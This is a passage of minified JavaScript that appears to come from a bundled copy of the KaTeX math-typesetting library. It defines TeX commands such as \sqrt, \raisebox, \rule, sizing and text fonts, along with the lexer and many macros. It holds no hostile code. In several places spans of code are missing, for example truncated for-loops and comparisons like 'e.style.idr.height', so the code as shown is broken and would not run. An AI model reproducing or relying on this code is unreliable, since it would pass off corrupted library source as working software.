$e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(t.body,e);return new mt.MathNode("mphantom",r)},"mathmlBuilder")});Mt({type:"hphantom",names:["\\hphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"hphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan([],[Hr(t.body,e.withPhantom())]);if(r.height=0,r.depth=0,r.children)for(var n=0;n{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("height","0px"),i.setAttribute("depth","0px"),i},"mathmlBuilder")});Mt({type:"vphantom",names:["\\vphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"vphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan(["inner"],[Hr(t.body,e.withPhantom())]),n=$e.makeSpan(["fix"],[]);return $e.makeSpan(["mord","rlap"],[r,n],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("width","0px"),i},"mathmlBuilder")});Mt({type:"raisebox",names:["\\raisebox"],props:{numArgs:2,argTypes:["size","hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t,n=Tr(e[0],"size").value,i=e[1];return{type:"raisebox",mode:r.mode,dy:n,body:i}},htmlBuilder(t,e){var r=Hr(t.body,e),n=ii(t.dy,e);return $e.makeVList({positionType:"shift",positionData:-n,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){var r=new mt.MathNode("mpadded",[wn(t.body,e)]),n=t.dy.number+t.dy.unit;return r.setAttribute("voffset",n),r}});Mt({type:"internal",names:["\\relax"],props:{numArgs:0,allowedInText:!0,allowedInArgument:!0},handler(t){var{parser:e}=t;return{type:"internal",mode:e.mode}}});Mt({type:"rule",names:["\\rule"],props:{numArgs:2,numOptionalArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["size","size","size"]},handler(t,e,r){var{parser:n}=t,i=r[0],a=Tr(e[0],"size"),s=Tr(e[1],"size");return{type:"rule",mode:n.mode,shift:i&&Tr(i,"size").value,width:a.value,height:s.value}},htmlBuilder(t,e){var r=$e.makeSpan(["mord","rule"],[],e),n=ii(t.width,e),i=ii(t.height,e),a=t.shift?ii(t.shift,e):0;return r.style.borderRightWidth=St(n),r.style.borderTopWidth=St(i),r.style.bottom=St(a),r.width=n,r.height=i+a,r.depth=-a,r.maxFontSize=i*1.125*e.sizeMultiplier,r},mathmlBuilder(t,e){var r=ii(t.width,e),n=ii(t.height,e),i=t.shift?ii(t.shift,e):0,a=e.color&&e.getColor()||"black",s=new mt.MathNode("mspace");s.setAttribute("mathbackground",a),s.setAttribute("width",St(r)),s.setAttribute("height",St(n));var l=new mt.MathNode("mpadded",[s]);return i>=0?l.setAttribute("height",St(i)):(l.setAttribute("height",St(i)),l.setAttribute("depth",St(-i))),l.setAttribute("voffset",St(i)),l}});o(IU,"sizingGroup");OV=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"],Swe=o((t,e)=>{var r=e.havingSize(t.size);return IU(t.body,r,e)},"htmlBuilder");Mt({type:"sizing",names:OV,props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!1,r);return{type:"sizing",mode:i.mode,size:OV.indexOf(n)+1,body:a}},"handler"),htmlBuilder:Swe,mathmlBuilder:o((t,e)=>{var r=e.havingSize(t.size),n=As(t.body,r),i=new mt.MathNode("mstyle",n);return i.setAttribute("mathsize",St(r.sizeMultiplier)),i},"mathmlBuilder")});Mt({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:o((t,e,r)=>{var{parser:n}=t,i=!1,a=!1,s=r[0]&&Tr(r[0],"ordgroup");if(s)for(var l="",u=0;u{var r=$e.makeSpan([],[Hr(t.body,e)]);if(!t.smashHeight&&!t.smashDepth)return r;if(t.smashHeight&&(r.height=0,r.children))for(var n=0;n{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);return t.smashHeight&&r.setAttribute("height","0px"),t.smashDepth&&r.setAttribute("depth","0px"),r},"mathmlBuilder")});Mt({type:"sqrt",names:["\\sqrt"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n}=t,i=r[0],a=e[0];return{type:"sqrt",mode:n.mode,body:a,index:i}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle());r.height===0&&(r.height=e.fontMetrics().xHeight),r=$e.wrapFragment(r,e);var n=e.fontMetrics(),i=n.defaultRuleThickness,a=i;e.style.idr.height+r.depth+s&&(s=(s+d-r.height-r.depth)/2);var p=u.height-r.height-s-h;r.style.paddingLeft=St(f);var m=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:-(r.height+p)},{type:"elem",elem:u},{type:"kern",size:h}]},e);if(t.index){var g=e.havingStyle(nr.SCRIPTSCRIPT),y=Hr(t.index,g,e),v=.6*(m.height-m.depth),x=$e.makeVList({positionType:"shift",positionData:-v,children:[{type:"elem",elem:y}]},e),b=$e.makeSpan(["root"],[x]);return $e.makeSpan(["mord","sqrt"],[b,m],e)}else return $e.makeSpan(["mord","sqrt"],[m],e)},mathmlBuilder(t,e){var{body:r,index:n}=t;return n?new mt.MathNode("mroot",[wn(r,e),wn(n,e)]):new mt.MathNode("msqrt",[wn(r,e)])}});PV={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT};Mt({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t,e){var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!0,r),s=n.slice(1,n.length-5);return{type:"styling",mode:i.mode,style:s,body:a}},htmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r).withFont("");return IU(t.body,n,e)},mathmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r),i=As(t.body,n),a=new mt.MathNode("mstyle",i),s={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]},l=s[t.style];return a.setAttribute("scriptlevel",l[0]),a.setAttribute("displaystyle",l[1]),a}});Cwe=o(function(e,r){var n=e.base;if(n)if(n.type==="op"){var i=n.limits&&(r.style.size===nr.DISPLAY.size||n.alwaysHandleSupSub);return i?C0:null}else if(n.type==="operatorname"){var a=n.alwaysHandleSupSub&&(r.style.size===nr.DISPLAY.size||n.limits);return a?MU:null}else{if(n.type==="accent")return er.isCharacterBox(n.base)?dA:null;if(n.type==="horizBrace"){var s=!e.sub;return s===n.isOver?LU:null}else return null}else return null},"htmlBuilderDelegate");dd({type:"supsub",htmlBuilder(t,e){var r=Cwe(t,e);if(r)return r(t,e);var{base:n,sup:i,sub:a}=t,s=Hr(n,e),l,u,h=e.fontMetrics(),f=0,d=0,p=n&&er.isCharacterBox(n);if(i){var m=e.havingStyle(e.style.sup());l=Hr(i,m,e),p||(f=s.height-m.fontMetrics().supDrop*m.sizeMultiplier/e.sizeMultiplier)}if(a){var g=e.havingStyle(e.style.sub());u=Hr(a,g,e),p||(d=s.depth+g.fontMetrics().subDrop*g.sizeMultiplier/e.sizeMultiplier)}var y;e.style===nr.DISPLAY?y=h.sup1:e.style.cramped?y=h.sup3:y=h.sup2;var v=e.sizeMultiplier,x=St(.5/h.ptPerEm/v),b=null;if(u){var T=t.base&&t.base.type==="op"&&t.base.name&&(t.base.name==="\\oiint"||t.base.name==="\\oiiint");(s instanceof Cs||T)&&(b=St(-s.italic))}var S;if(l&&u){f=Math.max(f,y,l.depth+.25*h.xHeight),d=Math.max(d,h.sub2);var w=h.defaultRuleThickness,k=4*w;if(f-l.depth-(u.height-d)0&&(f+=A,d-=A)}var C=[{type:"elem",elem:u,shift:d,marginRight:x,marginLeft:b},{type:"elem",elem:l,shift:-f,marginRight:x}];S=$e.makeVList({positionType:"individualShift",children:C},e)}else if(u){d=Math.max(d,h.sub1,u.height-.8*h.xHeight);var R=[{type:"elem",elem:u,marginLeft:b,marginRight:x}];S=$e.makeVList({positionType:"shift",positionData:d,children:R},e)}else if(l)f=Math.max(f,y,l.depth+.25*h.xHeight),S=$e.makeVList({positionType:"shift",positionData:-f,children:[{type:"elem",elem:l,marginRight:x}]},e);else throw new Error("supsub must have either sup or sub.");var I=J7(s,"right")||"mord";return $e.makeSpan([I],[s,$e.makeSpan(["msupsub"],[S])],e)},mathmlBuilder(t,e){var r=!1,n,i;t.base&&t.base.type==="horizBrace"&&(i=!!t.sup,i===t.base.isOver&&(r=!0,n=t.base.isOver)),t.base&&(t.base.type==="op"||t.base.type==="operatorname")&&(t.base.parentIsSupSub=!0);var a=[wn(t.base,e)];t.sub&&a.push(wn(t.sub,e)),t.sup&&a.push(wn(t.sup,e));var s;if(r)s=n?"mover":"munder";else if(t.sub)if(t.sup){var h=t.base;h&&h.type==="op"&&h.limits&&e.style===nr.DISPLAY||h&&h.type==="operatorname"&&h.alwaysHandleSupSub&&(e.style===nr.DISPLAY||h.limits)?s="munderover":s="msubsup"}else{var u=t.base;u&&u.type==="op"&&u.limits&&(e.style===nr.DISPLAY||u.alwaysHandleSupSub)||u&&u.type==="operatorname"&&u.alwaysHandleSupSub&&(u.limits||e.style===nr.DISPLAY)?s="munder":s="msub"}else{var l=t.base;l&&l.type==="op"&&l.limits&&(e.style===nr.DISPLAY||l.alwaysHandleSupSub)||l&&l.type==="operatorname"&&l.alwaysHandleSupSub&&(l.limits||e.style===nr.DISPLAY)?s="mover":s="msup"}return new mt.MathNode(s,a)}});dd({type:"atom",htmlBuilder(t,e){return $e.mathsym(t.text,t.mode,e,["m"+t.family])},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[Lo(t.text,t.mode)]);if(t.family==="bin"){var n=hA(t,e);n==="bold-italic"&&r.setAttribute("mathvariant",n)}else t.family==="punct"?r.setAttribute("separator","true"):(t.family==="open"||t.family==="close")&&r.setAttribute("stretchy","false");return r}});OU={mi:"italic",mn:"normal",mtext:"normal"};dd({type:"mathord",htmlBuilder(t,e){return $e.makeOrd(t,e,"mathord")},mathmlBuilder(t,e){var r=new mt.MathNode("mi",[Lo(t.text,t.mode,e)]),n=hA(t,e)||"italic";return n!==OU[r.type]&&r.setAttribute("mathvariant",n),r}});dd({type:"textord",htmlBuilder(t,e){return $e.makeOrd(t,e,"textord")},mathmlBuilder(t,e){var r=Lo(t.text,t.mode,e),n=hA(t,e)||"normal",i;return t.mode==="text"?i=new mt.MathNode("mtext",[r]):/[0-9]/.test(t.text)?i=new mt.MathNode("mn",[r]):t.text==="\\prime"?i=new mt.MathNode("mo",[r]):i=new mt.MathNode("mi",[r]),n!==OU[i.type]&&i.setAttribute("mathvariant",n),i}});W7={"\\nobreak":"nobreak","\\allowbreak":"allowbreak"},Y7={" ":{},"\\ ":{},"~":{className:"nobreak"},"\\space":{},"\\nobreakspace":{className:"nobreak"}};dd({type:"spacing",htmlBuilder(t,e){if(Y7.hasOwnProperty(t.text)){var r=Y7[t.text].className||"";if(t.mode==="text"){var n=$e.makeOrd(t,e,"textord");return n.classes.push(r),n}else return $e.makeSpan(["mspace",r],[$e.mathsym(t.text,t.mode,e)],e)}else{if(W7.hasOwnProperty(t.text))return $e.makeSpan(["mspace",W7[t.text]],[],e);throw new gt('Unknown type of space "'+t.text+'"')}},mathmlBuilder(t,e){var r;if(Y7.hasOwnProperty(t.text))r=new mt.MathNode("mtext",[new mt.TextNode("\xA0")]);else{if(W7.hasOwnProperty(t.text))return new mt.MathNode("mspace");throw new gt('Unknown type of space "'+t.text+'"')}return r}});BV=o(()=>{var t=new mt.MathNode("mtd",[]);return t.setAttribute("width","50%"),t},"pad");dd({type:"tag",mathmlBuilder(t,e){var r=new mt.MathNode("mtable",[new mt.MathNode("mtr",[BV(),new mt.MathNode("mtd",[Th(t.body,e)]),BV(),new mt.MathNode("mtd",[Th(t.tag,e)])])]);return r.setAttribute("width","100%"),r}});FV={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},$V={"\\textbf":"textbf","\\textmd":"textmd"},Awe={"\\textit":"textit","\\textup":"textup"},zV=o((t,e)=>{var r=t.font;if(r){if(FV[r])return e.withTextFontFamily(FV[r]);if($V[r])return e.withTextFontWeight($V[r]);if(r==="\\emph")return e.fontShape==="textit"?e.withTextFontShape("textup"):e.withTextFontShape("textit")}else return e;return e.withTextFontShape(Awe[r])},"optionsWithFont");Mt({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textmd","\\textit","\\textup","\\emph"],props:{numArgs:1,argTypes:["text"],allowedInArgument:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"text",mode:r.mode,body:gi(i),font:n}},htmlBuilder(t,e){var r=zV(t,e),n=Ii(t.body,r,!0);return $e.makeSpan(["mord","text"],n,r)},mathmlBuilder(t,e){var r=zV(t,e);return Th(t.body,r)}});Mt({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"underline",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=$e.makeLineSpan("underline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"kern",size:i},{type:"elem",elem:n},{type:"kern",size:3*i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","underline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("munder",[wn(t.body,e),r]);return n.setAttribute("accentunder","true"),n}});Mt({type:"vcenter",names:["\\vcenter"],props:{numArgs:1,argTypes:["original"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"vcenter",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=e.fontMetrics().axisHeight,i=.5*(r.height-n-(r.depth+n));return $e.makeVList({positionType:"shift",positionData:i,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){return new mt.MathNode("mpadded",[wn(t.body,e)],["vcenter"])}});Mt({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler(t,e,r){throw new gt("\\verb ended by end of line instead of matching delimiter")},htmlBuilder(t,e){for(var r=GV(t),n=[],i=e.havingStyle(e.style.text()),a=0;at.body.replace(/ /g,t.star?"\u2423":"\xA0"),"makeVerb"),xh=iU,PU=`[ \r + ]`,_we="\\\\[a-zA-Z@]+",Dwe="\\\\[^\uD800-\uDFFF]",Lwe="("+_we+")"+PU+"*",Rwe=`\\\\( +|[ \r ]+ +?)[ \r ]*`,iA="[\u0300-\u036F]",Nwe=new RegExp(iA+"+$"),Mwe="("+PU+"+)|"+(Rwe+"|")+"([!-\\[\\]-\u2027\u202A-\uD7FF\uF900-\uFFFF]"+(iA+"*")+"|[\uD800-\uDBFF][\uDC00-\uDFFF]"+(iA+"*")+"|\\\\verb\\*([^]).*?\\4|\\\\verb([^*a-zA-Z]).*?\\5"+("|"+Lwe)+("|"+Dwe+")"),S3=class{static{o(this,"Lexer")}constructor(e,r){this.input=void 0,this.settings=void 0,this.tokenRegex=void 0,this.catcodes=void 0,this.input=e,this.settings=r,this.tokenRegex=new RegExp(Mwe,"g"),this.catcodes={"%":14,"~":13}}setCatcode(e,r){this.catcodes[e]=r}lex(){var e=this.input,r=this.tokenRegex.lastIndex;if(r===e.length)return new Do("EOF",new to(this,r,r));var n=this.tokenRegex.exec(e);if(n===null||n.index!==r)throw new gt("Unexpected character: '"+e[r]+"'",new Do(e[r],new to(this,r,r+1)));var i=n[6]||n[3]||(n[2]?"\\ ":" ");if(this.catcodes[i]===14){var a=e.indexOf(` +`,this.tokenRegex.lastIndex);return a===-1?(this.tokenRegex.lastIndex=e.length,this.settings.reportNonstrict("commentAtEnd","% comment has no terminating newline; LaTeX would fail because of commenting the end of math mode (e.g. $)")):this.tokenRegex.lastIndex=a+1,this.lex()}return new Do(i,new to(this,r,this.tokenRegex.lastIndex))}},aA=class{static{o(this,"Namespace")}constructor(e,r){e===void 0&&(e={}),r===void 0&&(r={}),this.current=void 0,this.builtins=void 0,this.undefStack=void 0,this.current=r,this.builtins=e,this.undefStack=[]}beginGroup(){this.undefStack.push({})}endGroup(){if(this.undefStack.length===0)throw new gt("Unbalanced namespace destruction: attempt to pop global namespace; please report this as a bug");var e=this.undefStack.pop();for(var r in e)e.hasOwnProperty(r)&&(e[r]==null?delete this.current[r]:this.current[r]=e[r])}endGroups(){for(;this.undefStack.length>0;)this.endGroup()}has(e){return this.current.hasOwnProperty(e)||this.builtins.hasOwnProperty(e)}get(e){return this.current.hasOwnProperty(e)?this.current[e]:this.builtins[e]}set(e,r,n){if(n===void 0&&(n=!1),n){for(var i=0;i0&&(this.undefStack[this.undefStack.length-1][e]=r)}else{var a=this.undefStack[this.undefStack.length-1];a&&!a.hasOwnProperty(e)&&(a[e]=this.current[e])}r==null?delete this.current[e]:this.current[e]=r}},Iwe=SU;ce("\\noexpand",function(t){var e=t.popToken();return t.isExpandable(e.text)&&(e.noexpand=!0,e.treatAsRelax=!0),{tokens:[e],numArgs:0}});ce("\\expandafter",function(t){var e=t.popToken();return t.expandOnce(!0),{tokens:[e],numArgs:0}});ce("\\@firstoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[0],numArgs:0}});ce("\\@secondoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[1],numArgs:0}});ce("\\@ifnextchar",function(t){var e=t.consumeArgs(3);t.consumeSpaces();var r=t.future();return e[0].length===1&&e[0][0].text===r.text?{tokens:e[1],numArgs:0}:{tokens:e[2],numArgs:0}});ce("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}");ce("\\TextOrMath",function(t){var e=t.consumeArgs(2);return t.mode==="text"?{tokens:e[0],numArgs:0}:{tokens:e[1],numArgs:0}});VV={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};ce("\\char",function(t){var e=t.popToken(),r,n="";if(e.text==="'")r=8,e=t.popToken();else if(e.text==='"')r=16,e=t.popToken();else if(e.text==="`")if(e=t.popToken(),e.text[0]==="\\")n=e.text.charCodeAt(1);else{if(e.text==="EOF")throw new gt("\\char` missing argument");n=e.text.charCodeAt(0)}else r=10;if(r){if(n=VV[e.text],n==null||n>=r)throw new gt("Invalid base-"+r+" digit "+e.text);for(var i;(i=VV[t.future().text])!=null&&i{var i=t.consumeArg().tokens;if(i.length!==1)throw new gt("\\newcommand's first argument must be a macro name");var a=i[0].text,s=t.isDefined(a);if(s&&!e)throw new gt("\\newcommand{"+a+"} attempting to redefine "+(a+"; use \\renewcommand"));if(!s&&!r)throw new gt("\\renewcommand{"+a+"} when command "+a+" does not yet exist; use \\newcommand");var l=0;if(i=t.consumeArg().tokens,i.length===1&&i[0].text==="["){for(var u="",h=t.expandNextToken();h.text!=="]"&&h.text!=="EOF";)u+=h.text,h=t.expandNextToken();if(!u.match(/^\s*[0-9]+\s*$/))throw new gt("Invalid number of arguments: "+u);l=parseInt(u),i=t.consumeArg().tokens}return s&&n||t.macros.set(a,{tokens:i,numArgs:l}),""},"newcommand");ce("\\newcommand",t=>TA(t,!1,!0,!1));ce("\\renewcommand",t=>TA(t,!0,!1,!1));ce("\\providecommand",t=>TA(t,!0,!0,!0));ce("\\message",t=>{var e=t.consumeArgs(1)[0];return console.log(e.reverse().map(r=>r.text).join("")),""});ce("\\errmessage",t=>{var e=t.consumeArgs(1)[0];return console.error(e.reverse().map(r=>r.text).join("")),""});ce("\\show",t=>{var e=t.popToken(),r=e.text;return console.log(e,t.macros.get(r),xh[r],Nn.math[r],Nn.text[r]),""});ce("\\bgroup","{");ce("\\egroup","}");ce("~","\\nobreakspace");ce("\\lq","`");ce("\\rq","'");ce("\\aa","\\r a");ce("\\AA","\\r A");ce("\\textcopyright","\\html@mathml{\\textcircled{c}}{\\char`\xA9}");ce("\\copyright","\\TextOrMath{\\textcopyright}{\\text{\\textcopyright}}");ce("\\textregistered","\\html@mathml{\\textcircled{\\scriptsize R}}{\\char`\xAE}");ce("\u212C","\\mathscr{B}");ce("\u2130","\\mathscr{E}");ce("\u2131","\\mathscr{F}");ce("\u210B","\\mathscr{H}");ce("\u2110","\\mathscr{I}");ce("\u2112","\\mathscr{L}");ce("\u2133","\\mathscr{M}");ce("\u211B","\\mathscr{R}");ce("\u212D","\\mathfrak{C}");ce("\u210C","\\mathfrak{H}");ce("\u2128","\\mathfrak{Z}");ce("\\Bbbk","\\Bbb{k}");ce("\xB7","\\cdotp");ce("\\llap","\\mathllap{\\textrm{#1}}");ce("\\rlap","\\mathrlap{\\textrm{#1}}");ce("\\clap","\\mathclap{\\textrm{#1}}");ce("\\mathstrut","\\vphantom{(}");ce("\\underbar","\\underline{\\text{#1}}");ce("\\not",'\\html@mathml{\\mathrel{\\mathrlap\\@not}}{\\char"338}');ce("\\neq","\\html@mathml{\\mathrel{\\not=}}{\\mathrel{\\char`\u2260}}");ce("\\ne","\\neq");ce("\u2260","\\neq");ce("\\notin","\\html@mathml{\\mathrel{{\\in}\\mathllap{/\\mskip1mu}}}{\\mathrel{\\char`\u2209}}");ce("\u2209","\\notin");ce("\u2258","\\html@mathml{\\mathrel{=\\kern{-1em}\\raisebox{0.4em}{$\\scriptsize\\frown$}}}{\\mathrel{\\char`\u2258}}");ce("\u2259","\\html@mathml{\\stackrel{\\tiny\\wedge}{=}}{\\mathrel{\\char`\u2258}}");ce("\u225A","\\html@mathml{\\stackrel{\\tiny\\vee}{=}}{\\mathrel{\\char`\u225A}}");ce("\u225B","\\html@mathml{\\stackrel{\\scriptsize\\star}{=}}{\\mathrel{\\char`\u225B}}");ce("\u225D","\\html@mathml{\\stackrel{\\tiny\\mathrm{def}}{=}}{\\mathrel{\\char`\u225D}}");ce("\u225E","\\html@mathml{\\stackrel{\\tiny\\mathrm{m}}{=}}{\\mathrel{\\char`\u225E}}");ce("\u225F","\\html@mathml{\\stackrel{\\tiny?}{=}}{\\mathrel{\\char`\u225F}}");ce("\u27C2","\\perp");ce("\u203C","\\mathclose{!\\mkern-0.8mu!}");ce("\u220C","\\notni");ce("\u231C","\\ulcorner");ce("\u231D","\\urcorner");ce("\u231E","\\llcorner");ce("\u231F","\\lrcorner");ce("\xA9","\\copyright");ce("\xAE","\\textregistered");ce("\uFE0F","\\textregistered");ce("\\ulcorner",'\\html@mathml{\\@ulcorner}{\\mathop{\\char"231c}}');ce("\\urcorner",'\\html@mathml{\\@urcorner}{\\mathop{\\char"231d}}');ce("\\llcorner",'\\html@mathml{\\@llcorner}{\\mathop{\\char"231e}}');ce("\\lrcorner",'\\html@mathml{\\@lrcorner}{\\mathop{\\char"231f}}');ce("\\vdots","{\\varvdots\\rule{0pt}{15pt}}");ce("\u22EE","\\vdots");ce("\\varGamma","\\mathit{\\Gamma}");ce("\\varDelta","\\mathit{\\Delta}");ce("\\varTheta","\\mathit{\\Theta}");ce("\\varLambda","\\mathit{\\Lambda}");ce("\\varXi","\\mathit{\\Xi}");ce("\\varPi","\\mathit{\\Pi}");ce("\\varSigma","\\mathit{\\Sigma}");ce("\\varUpsilon","\\mathit{\\Upsilon}");ce("\\varPhi","\\mathit{\\Phi}");ce("\\varPsi","\\mathit{\\Psi}");ce("\\varOmega","\\mathit{\\Omega}");ce("\\substack","\\begin{subarray}{c}#1\\end{subarray}");ce("\\colon","\\nobreak\\mskip2mu\\mathpunct{}\\mathchoice{\\mkern-3mu}{\\mkern-3mu}{}{}{:}\\mskip6mu\\relax");ce("\\boxed","\\fbox{$\\displaystyle{#1}$}");ce("\\iff","\\DOTSB\\;\\Longleftrightarrow\\;");ce("\\implies","\\DOTSB\\;\\Longrightarrow\\;");ce("\\impliedby","\\DOTSB\\;\\Longleftarrow\\;");ce("\\dddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ...}}{#1}}");ce("\\ddddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ....}}{#1}}");UV={",":"\\dotsc","\\not":"\\dotsb","+":"\\dotsb","=":"\\dotsb","<":"\\dotsb",">":"\\dotsb","-":"\\dotsb","*":"\\dotsb",":":"\\dotsb","\\DOTSB":"\\dotsb","\\coprod":"\\dotsb","\\bigvee":"\\dotsb","\\bigwedge":"\\dotsb","\\biguplus":"\\dotsb","\\bigcap":"\\dotsb","\\bigcup":"\\dotsb","\\prod":"\\dotsb","\\sum":"\\dotsb","\\bigotimes":"\\dotsb","\\bigoplus":"\\dotsb","\\bigodot":"\\dotsb","\\bigsqcup":"\\dotsb","\\And":"\\dotsb","\\longrightarrow":"\\dotsb","\\Longrightarrow":"\\dotsb","\\longleftarrow":"\\dotsb","\\Longleftarrow":"\\dotsb","\\longleftrightarrow":"\\dotsb","\\Longleftrightarrow":"\\dotsb","\\mapsto":"\\dotsb","\\longmapsto":"\\dotsb","\\hookrightarrow":"\\dotsb","\\doteq":"\\dotsb","\\mathbin":"\\dotsb","\\mathrel":"\\dotsb","\\relbar":"\\dotsb","\\Relbar":"\\dotsb","\\xrightarrow":"\\dotsb","\\xleftarrow":"\\dotsb","\\DOTSI":"\\dotsi","\\int":"\\dotsi","\\oint":"\\dotsi","\\iint":"\\dotsi","\\iiint":"\\dotsi","\\iiiint":"\\dotsi","\\idotsint":"\\dotsi","\\DOTSX":"\\dotsx"};ce("\\dots",function(t){var e="\\dotso",r=t.expandAfterFuture().text;return r in UV?e=UV[r]:(r.slice(0,4)==="\\not"||r in Nn.math&&er.contains(["bin","rel"],Nn.math[r].group))&&(e="\\dotsb"),e});wA={")":!0,"]":!0,"\\rbrack":!0,"\\}":!0,"\\rbrace":!0,"\\rangle":!0,"\\rceil":!0,"\\rfloor":!0,"\\rgroup":!0,"\\rmoustache":!0,"\\right":!0,"\\bigr":!0,"\\biggr":!0,"\\Bigr":!0,"\\Biggr":!0,$:!0,";":!0,".":!0,",":!0};ce("\\dotso",function(t){var e=t.future().text;return e in wA?"\\ldots\\,":"\\ldots"});ce("\\dotsc",function(t){var e=t.future().text;return e in wA&&e!==","?"\\ldots\\,":"\\ldots"});ce("\\cdots",function(t){var e=t.future().text;return e in wA?"\\@cdots\\,":"\\@cdots"});ce("\\dotsb","\\cdots");ce("\\dotsm","\\cdots");ce("\\dotsi","\\!\\cdots");ce("\\dotsx","\\ldots\\,");ce("\\DOTSI","\\relax");ce("\\DOTSB","\\relax");ce("\\DOTSX","\\relax");ce("\\tmspace","\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax");ce("\\,","\\tmspace+{3mu}{.1667em}");ce("\\thinspace","\\,");ce("\\>","\\mskip{4mu}");ce("\\:","\\tmspace+{4mu}{.2222em}");ce("\\medspace","\\:");ce("\\;","\\tmspace+{5mu}{.2777em}");ce("\\thickspace","\\;");ce("\\!","\\tmspace-{3mu}{.1667em}");ce("\\negthinspace","\\!");ce("\\negmedspace","\\tmspace-{4mu}{.2222em}");ce("\\negthickspace","\\tmspace-{5mu}{.277em}");ce("\\enspace","\\kern.5em ");ce("\\enskip","\\hskip.5em\\relax");ce("\\quad","\\hskip1em\\relax");ce("\\qquad","\\hskip2em\\relax");ce("\\tag","\\@ifstar\\tag@literal\\tag@paren");ce("\\tag@paren","\\tag@literal{({#1})}");ce("\\tag@literal",t=>{if(t.macros.get("\\df@tag"))throw new gt("Multiple \\tag");return"\\gdef\\df@tag{\\text{#1}}"});ce("\\bmod","\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}\\mathbin{\\rm mod}\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}");ce("\\pod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)");ce("\\pmod","\\pod{{\\rm mod}\\mkern6mu#1}");ce("\\mod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}{\\rm mod}\\,\\,#1");ce("\\newline","\\\\\\relax");ce("\\TeX","\\textrm{\\html@mathml{T\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125emX}{TeX}}");BU=St(Ql["Main-Regular"][84][1]-.7*Ql["Main-Regular"][65][1]);ce("\\LaTeX","\\textrm{\\html@mathml{"+("L\\kern-.36em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{LaTeX}}");ce("\\KaTeX","\\textrm{\\html@mathml{"+("K\\kern-.17em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{KaTeX}}");ce("\\hspace","\\@ifstar\\@hspacer\\@hspace");ce("\\@hspace","\\hskip #1\\relax");ce("\\@hspacer","\\rule{0pt}{0pt}\\hskip 